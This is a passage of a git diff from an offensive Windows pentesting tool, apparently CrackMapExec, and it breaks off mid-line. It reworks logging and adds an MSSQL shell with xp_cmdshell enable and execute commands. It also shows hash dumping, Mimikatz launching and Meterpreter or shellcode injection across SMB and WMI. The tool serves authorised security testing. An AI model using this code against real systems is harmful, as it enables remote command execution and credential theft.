diff --git a/core/executor.py b/core/executor.py index 31282a69..0458b12b 100644 --- a/core/executor.py +++ b/core/executor.py @@ -8,10 +8,11 @@ class EXECUTOR: """Yes, I know this sounds like the pokemon... deal with it""" - def __init__(self, command, host, domain, noOutput, smbconnection, method): + def __init__(self, logger, command, host, domain, noOutput, smbconnection, method): if method == 'wmi': - wmi_exec = WMIEXEC(command, + wmi_exec = WMIEXEC(logger, + command, settings.args.user, settings.args.passwd, domain, @@ -23,7 +24,8 @@ class EXECUTOR: wmi_exec.run(host, smbconnection) elif method == 'smbexec': - smb_exec = SMBEXEC(command, + smb_exec = SMBEXEC(logger, + command, '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, @@ -37,7 +39,8 @@ class EXECUTOR: smb_exec.run(host) elif method == 'atexec': - atsvc_exec = TSCH_EXEC(command, + atsvc_exec = TSCH_EXEC(logger, + command, settings.args.user, settings.args.passwd, domain, @@ -45,4 +48,4 @@ class EXECUTOR: settings.args.aesKey, settings.args.kerb, noOutput) - atsvc_exec.play(host) \ No newline at end of file + atsvc_exec.play(host) diff --git a/core/maingreenlet.py b/core/greenlets.py similarity index 61% rename from core/maingreenlet.py rename to core/greenlets.py index c0d25ebf..83ac310e 100644 --- a/core/maingreenlet.py +++ b/core/greenlets.py @@ -1,5 +1,7 @@ from logger import * from powershell import * +from impacket import tds +from scripts.mssqlclient import * from impacket.nmb import NetBIOSError from impacket.smbconnection import SMBConnection, SessionError from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -23,12 +25,50 @@ import socket import settings import traceback import socket +import logging -def connect(host): - ''' - My imagination flowed free when coming up with this name - This is where all the magic happens - ''' +def mssql_greenlet(host, server_name, domain): + + cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, + 'hostname': server_name, + 'port': settings.args.mssql_port, + 'service': 'MSSQL'}) + + try: + ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) + ms_sql.connect() + except socket.error as e: + if settings.args.verbose: print_error(str(e)) + return + + if settings.args.mssql_instance: + instances = ms_sql.getInstances(5) + if len(instances) == 0: + cme_logger.info("No MSSQL Instances found") + else: + cme_logger.success("Enumerating MSSQL instances") + for i, instance in enumerate(instances): + cme_logger.results("Instance {}".format(i)) + for key in instance.keys(): + cme_logger.results(key + ":" + instance[key]) + + if settings.args.mssql is not None: + ms_sql = smart_login(host, domain, ms_sql, cme_logger) + sql_shell = SQLSHELL(ms_sql, cme_logger) + + if settings.args.mssql != '': + sql_shell.onecmd(settings.args.mssql) + + if settings.args.enable_xpcmdshell: + sql_shell.onecmd('enable_xp_cmdshell') + + if settings.args.disable_xpcmdshell: + sql_shell.onecmd('disable_xp_cmdshell') + + if settings.args.xp_cmd: + sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd)) + +def main_greenlet(host): try: @@ -46,7 +86,16 @@ def connect(host): if not domain: domain = s_name - print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain)) + cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, + 'hostname': s_name, + 'port': settings.args.port, + 'service': 'SMB'}) + + cme_logger.info("{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain)) + + if settings.args.mssql_instance or settings.args.mssql is not None: + mssql_greenlet(host, s_name, domain) + return try: ''' @@ -62,12 +111,12 @@ def connect(host): if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file: - smb = smart_login(host, smb, domain) + smb = smart_login(host, domain, smb, cme_logger) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: - rfs = RemoteFileSystem(host, smb) + rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: @@ -78,11 +127,12 @@ def connect(host): rfs.list() if settings.args.enum_shares: - shares = SHAREDUMP(smb) + shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: - users = SAMRDump('{}/SMB'.format(settings.args.port), + users = SAMRDump(cme_logger, + '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, domain, @@ -92,8 +142,7 @@ def connect(host): users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: - dumper = DumpSecrets(host, - settings.args.port, + dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) @@ -110,17 +159,19 @@ def connect(host): dumper.cleanup() if settings.args.pass_pol: - pass_pol = PassPolDump('{}/SMB'.format(settings.args.port), + pass_pol = PassPolDump(cme_logger, + '{}/SMB'.format(settings.args.port), settings.args.user, settings.args.passwd, - domain, + domain, settings.args.hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: - lookup = LSALookupSid(settings.args.user, + lookup = LSALookupSid(cme_logger, + settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), @@ -129,7 +180,8 @@ def connect(host): lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: - rpc_query = RPCQUERY(settings.args.user, + rpc_query = RPCQUERY(cme_logger, + settings.args.user, settings.args.passwd, domain, settings.args.hash) @@ -142,12 +194,13 @@ def connect(host): rpc_query.enum_lusers(host) if settings.args.spider: - smb_spider = SMBSPIDER(host, smb) + smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: - wmi_query = WMIQUERY(settings.args.user, + wmi_query = WMIQUERY(cme_logger, + settings.args.user, settings.args.passwd, domain, settings.args.hash, @@ -157,19 +210,19 @@ def connect(host): wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: - uac = UACdump(smb, settings.args.kerb) + uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() - if settings.args.enable_wdigest: - wdigest = WdisgestEnable(smb, settings.args.kerb) - wdigest.enable() - - if settings.args.disable_wdigest: - wdigest = WdisgestEnable(smb, settings.args.kerb) - wdigest.disable() + if settings.args.enable_wdigest or settings.args.disable_wdigest: + wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) + if settings.args.enable_wdigest: + wdigest.enable() + elif settings.args.disable_wdigest: + wdigest.disable() if settings.args.service: - service_control = SVCCTL(settings.args.user, + service_control = SVCCTL(cme_logger, + settings.args.user, settings.args.passwd, domain, '{}/SMB'.format(settings.args.port), @@ -178,39 +231,39 @@ def connect(host): service_control.run(host) if settings.args.command: - EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) + EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: - EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) + EXECUTOR(cme_logger, ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) - EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) - EXECUTOR(powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) - EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) - EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') + EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): - EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': - EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': - EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) + EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: diff --git a/core/logger.py b/core/logger.py index 4b8aea06..4e9c5c17 100644 --- a/core/logger.py +++ b/core/logger.py @@ -20,6 +20,39 @@ def antiansi_emit(self, record): logging.FileHandler.emit = antiansi_emit +class CMEAdapter(logging.LoggerAdapter): + + def __init__(self, logger, extra, action=None): + self.logger = logger + self.extra = extra + self.action = action + + def process(self, msg, kwargs): + return '{} {}:{} {} {}'.format(colored(self.extra['service'], 'blue', attrs=['bold']), + self.extra['host'], + self.extra['port'], + self.extra['hostname'], + msg), kwargs + + def info(self, msg, *args, **kwargs): + msg, kwargs = self.process(colored("[*] ", 'blue', attrs=['bold']) + msg, kwargs) + self.logger.info(msg, *args, **kwargs) + + def error(self, msg, *args, **kwargs): + msg, kwargs = self.process(colored("[-] ", 'red', attrs=['bold']) + msg, kwargs) + self.logger.info(msg, *args, **kwargs) + + def success(self, msg, *args, **kwargs): + msg, kwargs = self.process(colored("[+] ", 'green', attrs=['bold']) + msg, kwargs) + self.logger.info(msg, *args, **kwargs) + + def results(self, msg, *args, **kwargs): + msg, kwargs = self.process(colored(msg, 'yellow', attrs=['bold']), kwargs) + self.logger.info(msg, *args, **kwargs) + + def logMessage(self, message): + self.results(message) + def setup_logger(target, level=logging.INFO): formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S") @@ -36,32 +69,26 @@ def setup_logger(target, level=logging.INFO): root_logger.addHandler(fileHandler) root_logger.setLevel(level) - #A logger on crack? keeps getting better - crack_logger = logging.getLogger('crack') - crack_logger.propagate = False - crack_logger.addHandler(streamHandler) - crack_logger.addHandler(fileHandler) - crack_logger.setLevel(level) + cme_logger = logging.getLogger('CME') + cme_logger.propagate = False + cme_logger.addHandler(streamHandler) + cme_logger.addHandler(fileHandler) + cme_logger.setLevel(level) def print_error(message): - clog = logging.getLogger('crack') - clog.info(colored("[-] ", 'red', attrs=['bold']) + message) + print colored("[-] ", 'red', attrs=['bold']) + message -def print_status(message): - clog = logging.getLogger('crack') - clog.info(colored("[*] ", 'blue', attrs=['bold']) + message) +def print_info(message): + print colored("[*] ", 'blue', attrs=['bold']) + message -def print_succ(message): - clog = logging.getLogger('crack') - clog.info(colored("[+] ", 'green', attrs=['bold']) + message) +def print_success(message): + print colored("[+] ", 'green', attrs=['bold']) + message -def print_att(message): - clog = logging.getLogger('crack') - clog.info(colored(message, 'yellow', attrs=['bold'])) +def print_results(message): + print colored(message, 'yellow', attrs=['bold']) def print_message(message): - clog = logging.getLogger('crack') - clog.info(message) + print message def yellow(text): return colored(text, 'yellow', attrs=['bold']) @@ -76,9 +103,5 @@ def red(text): return colored(text, 'red', attrs=['bold']) def shutdown(exit_code): - print_status("KTHXBYE") + print_info('KTHXBYE!') sys.exit(int(exit_code)) - -def root_error(): - print colored("[-] ", 'red', attrs=['bold']) + "I needz r00t!" - sys.exit(1) diff --git a/core/passpoldump.py b/core/passpoldump.py index 669266f9..d04486f6 100644 --- a/core/passpoldump.py +++ b/core/passpoldump.py @@ -2,7 +2,6 @@ import sys import logging import codecs -from core.logger import * from impacket import version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr @@ -15,13 +14,14 @@ class PassPolDump: '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), } - def __init__(self, protocols = None, + def __init__(self, logger, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): if not protocols: self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys() else: self.__protocols = [protocols] + self.__logger = logger self.__username = username self.__password = password self.__domain = domain @@ -63,6 +63,7 @@ class PassPolDump: resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] + self.__logger.success('Dumping password policy') self.get_pass_pol(addr, rpctransport, dce, domainHandle) def convert(self, low, high, no_zero): @@ -108,8 +109,8 @@ class PassPolDump: pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength'] - print_att('Minimum password length: {}'.format(min_pass_len)) - print_att('Password history length: {}'.format(pass_hst_len)) + self.__logger.results('Minimum password length: {}'.format(min_pass_len)) + self.__logger.results('Password history length: {}'.format(pass_hst_len)) max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'], resp['Buffer']['Password']['MaxPasswordAge']['HighPart'], @@ -119,16 +120,16 @@ class PassPolDump: resp['Buffer']['Password']['MinPasswordAge']['HighPart'], 1) - print_att('Maximum password age: {}'.format(max_pass_age)) - print_att('Minimum password age: {}'.format(min_pass_age)) + self.__logger.results('Maximum password age: {}'.format(max_pass_age)) + self.__logger.results('Minimum password age: {}'.format(min_pass_age)) resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold']) - print_att("Account lockout threshold: {}".format(lock_threshold)) + self.__logger.results("Account lockout threshold: {}".format(lock_threshold)) lock_duration = None if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000 - print_att("Account lockout duration: {}".format(lock_duration)) \ No newline at end of file + self.__logger.results("Account lockout duration: {}".format(lock_duration)) \ No newline at end of file diff --git a/core/remotefilesystem.py b/core/remotefilesystem.py index e6ff35f7..a2dfaccd 100644 --- a/core/remotefilesystem.py +++ b/core/remotefilesystem.py @@ -1,4 +1,3 @@ -from logger import * from time import strftime, localtime from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA import settings @@ -44,23 +43,24 @@ class RemoteFile: class RemoteFileSystem: - def __init__(self, host, smbconnection): + def __init__(self, host, smbconnection, logger): self.__host = host self.__smbconnection = smbconnection + self.__logger = logger def download(self): out = open(settings.args.download[1], 'wb') self.__smbconnection.getFile(settings.args.share, settings.args.download[0], out.write) - print_succ("{}:{} Downloaded file".format(self.__host, settings.args.port)) + self.__logger.success("Downloaded file") def upload(self): up = open(settings.args.upload[0] , 'rb') self.__smbconnection.putFile(settings.args.share, settings.args.upload[1], up.read) - print_succ("{}:{} Uploaded file".format(self.__host, settings.args.port)) + self.__logger.success("Uploaded file") def delete(self): self.__smbconnection.deleteFile(settings.args.share, settings.args.delete) - print_succ("{}:{} Deleted file".format(self.__host, settings.args.port)) + self.__logger.success("Deleted file") def list(self): if settings.args.list == '.': @@ -75,9 +75,9 @@ class RemoteFileSystem: elif path != '*': path = settings.args.share + '/' + path[:-2] - print_succ("{}:{} Contents of {}:".format(self.__host, settings.args.port, path)) + self.__logger.success("Contents of {}:".format(path)) for f in dir_list: - print_att(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-', - f.get_filesize(), - strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())), - f.get_longname())) \ No newline at end of file + self.__logger.results(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-', + f.get_filesize(), + strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())), + f.get_longname())) \ No newline at end of file diff --git a/core/rpcquery.py b/core/rpcquery.py index 47b031e0..b08bcf6e 100644 --- a/core/rpcquery.py +++ b/core/rpcquery.py @@ -1,11 +1,11 @@ import logging -from logger import * from impacket.dcerpc.v5 import transport, srvs, wkst from impacket.dcerpc.v5.dtypes import NULL import settings class RPCQUERY(): - def __init__(self, username, password, domain='', hashes=None): + def __init__(self, logger, username, password, domain='', hashes=None): + self.__logger = logger self.__username = username self.__password = password self.__domain = domain @@ -42,12 +42,12 @@ class RPCQUERY(): resp = wkst.hNetrWkstaUserEnum(dce, 1) lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer'] - print_succ("{}:{} Logged on users:".format(host, settings.args.port)) + self.__logger.success("Enumerating logged on users") for user in lusers: - print_att(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'], - user['wkui1_username'], - user['wkui1_logon_server'], - user['wkui1_oth_domains'])) + self.__logger.results(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'], + user['wkui1_username'], + user['wkui1_logon_server'], + user['wkui1_oth_domains'])) def enum_sessions(self, host): dce, rpctransport = self.connect(host, 'srvsvc') @@ -60,19 +60,19 @@ class RPCQUERY(): resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer'] - print_succ("{}:{} Current active sessions:".format(host, settings.args.port)) + self.__logger.success("Enumerating active sessions") for session in sessions: if level == 502: if session['sesi502_cname'][:-1] != self.__local_ip: - print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'], - session['sesi502_username'], - session['sesi502_num_opens'], - session['sesi502_time'], - session['sesi502_idle_time'])) + self.__logger.results('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'], + session['sesi502_username'], + session['sesi502_num_opens'], + session['sesi502_time'], + session['sesi502_idle_time'])) elif level == 0: if session['sesi0_cname'][:-1] != self.__local_ip: - print_att('\\\\{}'.format(session['sesi0_cname'])) + self.__logger.results('\\\\{}'.format(session['sesi0_cname'])) def enum_disks(self, host): dce, rpctransport = self.connect(host, 'srvsvc') @@ -81,8 +81,8 @@ class RPCQUERY(): except Exception: resp = srvs.hNetrServerDiskEnum(dce, 0) - print_succ("{}:{} Available disks:".format(host, settings.args.port)) + self.__logger.success("Enumerating disks") for disk in resp['DiskInfoStruct']['Buffer']: for dname in disk.fields.keys(): if disk[dname] != '\x00': - print_att(disk[dname]) + self.__logger.results(disk[dname]) \ No newline at end of file diff --git a/core/scripts/atexec.py b/core/scripts/atexec.py index 54330156..89ef93f4 100755 --- a/core/scripts/atexec.py +++ b/core/scripts/atexec.py @@ -21,7 +21,6 @@ import argparse import random import logging -from core.logger import * from gevent import sleep from impacket import version from impacket.dcerpc.v5 import tsch, transport @@ -30,7 +29,8 @@ from StringIO import StringIO class TSCH_EXEC: - def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False): + def __init__(self, logger, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False): + self.__logger = logger self.__username = username self.__password = password self.__domain = domain @@ -65,7 +65,7 @@ class TSCH_EXEC: def output_callback(data): buf = StringIO(data.strip()).readlines() for line in buf: - print_att(line.strip()) + self.__logger.results(line.strip()) dce = rpctransport.get_dce_rpc() @@ -159,7 +159,7 @@ class TSCH_EXEC: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) peer = ':'.join(map(str, rpctransport.get_socket().getpeername())) - print_succ('{} Executed command via ATEXEC'.format(peer)) + self.__logger.success('Executed command via ATEXEC') if self.__noOutput is False: smbConnection = rpctransport.get_smb_connection() diff --git a/core/scripts/lookupsid.py b/core/scripts/lookupsid.py index 65263994..10c06a64 100755 --- a/core/scripts/lookupsid.py +++ b/core/scripts/lookupsid.py @@ -17,7 +17,6 @@ import sys import logging import codecs -from core.logger import * from impacket import version from impacket.dcerpc.v5 import transport, lsat, lsad from impacket.dcerpc.v5.samr import SID_NAME_USE @@ -32,11 +31,12 @@ class LSALookupSid: '135/TCP': (r'ncacn_ip_tcp:%s', 135), } - def __init__(self, username, password, domain, protocols = None, + def __init__(self, logger, username, password, domain, protocols = None, hashes = None, maxRid=4000): if not protocols: protocols = LSALookupSid.KNOWN_PROTOCOLS.keys() + self.__logger = logger self.__username = username self.__password = password self.__protocols = [protocols] @@ -66,7 +66,7 @@ class LSALookupSid: rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: - print_succ("{}:{} Dumping users (rid:domain:user):".format(addr, protocol[:-4])) + self.__logger.success("Brute forcing SIDs (rid:domain:user)") self.__bruteForce(rpctransport, self.__maxRid) except Exception, e: #import traceback @@ -124,7 +124,7 @@ class LSALookupSid: for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: - print_att("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name)) + self.__logger.results("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name)) soFar += SIMULTANEOUS dce.disconnect() diff --git a/core/scripts/mssqlclient.py b/core/scripts/mssqlclient.py new file mode 100644 index 00000000..5e077808 --- /dev/null +++ b/core/scripts/mssqlclient.py @@ -0,0 +1,122 @@ +#!/usr/bin/python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: [MS-TDS] & [MC-SQLR] example. +# +# Author: +# Alberto Solino (beto@coresecurity.com/@agsolino) +# +# Reference for: +# Structure +# + +import os +import cmd +from impacket import tds +from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ + TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE + +def printRepliesCME(self): + for keys in self.replies.keys(): + for i, key in enumerate(self.replies[keys]): + if key['TokenType'] == TDS_ERROR_TOKEN: + error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) + self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) + self._MSSQL__rowsPrinter.error(error) + + elif key['TokenType'] == TDS_INFO_TOKEN: + self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) + + elif key['TokenType'] == TDS_LOGINACK_TOKEN: + self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) + + elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: + if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): + record = TDS_ENVCHANGE_VARCHAR(key['Data']) + if record['OldValue'] == '': + record['OldValue'] = 'None'.encode('utf-16le') + elif record['NewValue'] == '': + record['NewValue'] = 'None'.encode('utf-16le') + if key['Type'] == TDS_ENVCHANGE_DATABASE: + _type = 'DATABASE' + elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: + _type = 'LANGUAGE' + elif key['Type'] == TDS_ENVCHANGE_CHARSET: + _type = 'CHARSET' + elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: + _type = 'PACKETSIZE' + else: + _type = "%d" % key['Type'] + self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) + +tds.MSSQL.printReplies = printRepliesCME + +class SQLSHELL(cmd.Cmd): + def __init__(self, SQL, logger): + cmd.Cmd.__init__(self) + self.sql = SQL + self.logger = logger + self.prompt = 'SQL> ' + self.intro = '[!] Press help for extra shell commands' + + def do_help(self, line): + print """ + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + enable_xp_cmdshell - you know what it means + disable_xp_cmdshell - you know what it means + xp_cmdshell {cmd} - executes cmd using xp_cmdshell + ! {cmd} - executes a local shell cmd + """ + + def do_shell(self, s): + os.system(s) + + def do_xp_cmdshell(self, s): + try: + self.sql.sql_query("exec master..xp_cmdshell '%s'" % s) + self.sql.printReplies() + self.sql.colMeta[0]['TypeData'] = 80*2 + self.sql.printRows() + except: + pass + + def do_lcd(self, s): + if s == '': + print os.getcwd() + else: + os.chdir(s) + + def do_enable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def do_disable_xp_cmdshell(self, line): + try: + self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def default(self, line): + try: + self.sql.sql_query(line) + self.sql.printReplies() + self.sql.printRows() + except: + pass + + def emptyline(self): + pass + + def do_exit(self, line): + return True \ No newline at end of file diff --git a/core/scripts/samrdump.py b/core/scripts/samrdump.py index 296f21e5..a25dad0b 100755 --- a/core/scripts/samrdump.py +++ b/core/scripts/samrdump.py @@ -35,7 +35,7 @@ class SAMRDump: } - def __init__(self, protocols = None, + def __init__(self, logger, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): if not protocols: self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() @@ -49,6 +49,7 @@ class SAMRDump: self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos + self.__logger = logger if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') if password is None: @@ -80,15 +81,15 @@ class SAMRDump: # Display results. - print_succ('{}:{} Dumping users:'.format(addr, protocol[:-4])) + self.__logger.success('Dumping users') for entry in entries: (username, uid, user) = entry base = "%s (%d)" % (username, uid) - print_att(u'{}/FullName: {}'.format(base, user['FullName'])) - print_att(u'{}/UserComment: {}' .format(base, user['UserComment'])) - print_att(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId'])) - print_att(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount'])) - print_att(u'{}/LogonCount: {}'.format(base, user['LogonCount'])) + self.__logger.results(u'{}/FullName: {}'.format(base, user['FullName'])) + self.__logger.results(u'{}/UserComment: {}' .format(base, user['UserComment'])) + self.__logger.results(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId'])) + self.__logger.results(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount'])) + self.__logger.results(u'{}/LogonCount: {}'.format(base, user['LogonCount'])) if entries: num = len(entries) diff --git a/core/scripts/secretsdump.py b/core/scripts/secretsdump.py index 827466aa..f928b543 100755 --- a/core/scripts/secretsdump.py +++ b/core/scripts/secretsdump.py @@ -1,5 +1,5 @@ #!/usr/bin/python -# Copyright (c) 2003-2015 CORE Security Technologies +# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -47,7 +47,6 @@ from struct import unpack, pack from collections import OrderedDict from binascii import unhexlify, hexlify from datetime import datetime -from gevent import sleep import sys import random import hashlib @@ -58,7 +57,6 @@ import string import codecs import os -from core.logger import * from impacket import version, winregistry, ntlm from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi @@ -68,7 +66,7 @@ from impacket.structure import Structure from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.ese import ESENT_DB from impacket.dcerpc.v5.dtypes import NULL - +from gevent import sleep from Crypto.Cipher import DES, ARC4, AES from Crypto.Hash import HMAC, MD4 @@ -785,6 +783,23 @@ class CryptoCommon: key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1] return self.transformKey(key1),self.transformKey(key2) + @staticmethod + def decryptAES(key, value, iv='\x00'*16): + plainText = '' + if iv != '\x00'*16: + aes256 = AES.new(key,AES.MODE_CBC, iv) + + for index in range(0, len(value), 16): + if iv == '\x00'*16: + aes256 = AES.new(key,AES.MODE_CBC, iv) + cipherBuffer = value[index:index+16] + # Pad buffer to 16 bytes + if len(cipherBuffer) < 16: + cipherBuffer += '\x00' * (16-len(cipherBuffer)) + plainText += aes256.decrypt(cipherBuffer) + + return plainText + class OfflineRegistry: def __init__(self, hiveFile = None, isRemote = False): @@ -834,13 +849,14 @@ class OfflineRegistry: self.__registryHive.close() class SAMHashes(OfflineRegistry): - def __init__(self, samFile, bootKey, isRemote = False): + def __init__(self, samFile, bootKey, logger, isRemote = False): OfflineRegistry.__init__(self, samFile, isRemote) self.__samFile = samFile self.__hashedBootKey = '' self.__bootKey = bootKey self.__cryptoCommon = CryptoCommon() self.__itemsFound = {} + self.__logger = logger def MD5(self, data): md5 = hashlib.new('md5') @@ -932,7 +948,7 @@ class SAMHashes(OfflineRegistry): answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash)) self.__itemsFound[rid] = answer - print_att(answer) + self.__logger.results(answer) def export(self, fileName): if len(self.__itemsFound) > 0: @@ -944,7 +960,7 @@ class SAMHashes(OfflineRegistry): class LSASecrets(OfflineRegistry): - def __init__(self, securityFile, bootKey, remoteOps = None, isRemote = False): + def 